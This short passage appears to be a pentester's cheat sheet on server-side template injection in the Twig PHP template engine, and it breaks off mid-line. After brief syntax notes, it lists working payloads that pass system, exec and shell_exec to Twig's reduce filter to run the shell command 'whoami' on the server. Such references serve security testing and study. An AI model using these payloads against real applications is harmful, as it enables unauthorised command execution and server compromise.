Twig is a MVC-based tem­plate engine for PHP. Doc­u­men­ta­tion Out­put a value: {{ var }} Force a error, e.g. via a invalid operation: {{'a' * 5}} Con­cata­na­tion of strings: {{ 'a' ~ 'a' }} The reduce method take a func­tion and then para­me­ters… (It’s a PHP tem­plate engine, remember?) {{ [0]|reduce('system','whoami')}}{{ [0]|reduce('exec', 'whoami') }}{{ [0]|reduce('shell_exec', 'whoami') }}{{…